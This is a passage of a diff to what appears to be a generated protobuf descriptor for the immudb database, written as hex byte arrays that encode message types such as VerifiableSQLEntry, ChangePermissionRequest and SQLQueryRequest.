0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, + 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, 0x07, 0x0a, 0x12, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x73, + 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, + 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x18, 0x04, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, 0x12, + 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x4b, 0x49, + 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, 0x44, 0x73, 0x12, + 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x18, + 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, - 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x54, - 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, - 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, - 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, 0x11, 0x43, - 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, - 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, 0x0a, - 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, + 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, + 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, + 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x49, + 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, + 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, + 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x54, 0x79, + 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, + 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, 0x0a, 0x43, 0x6f, + 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x31, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x1a, 0x3f, 0x0a, + 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3d, - 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, 0x04, 0x08, - 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, 0xaa, 0x01, - 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, - 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, 0x53, 0x65, - 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, - 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x35, - 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x22, 0x5b, - 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, 0x0a, 0x14, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, 0x74, 0x74, - 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, - 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6c, - 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x18, - 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, - 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, - 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, - 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, - 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, - 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, - 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, - 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, - 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, - 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x3f, + 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, + 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, + 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, + 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, + 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, + 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, + 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 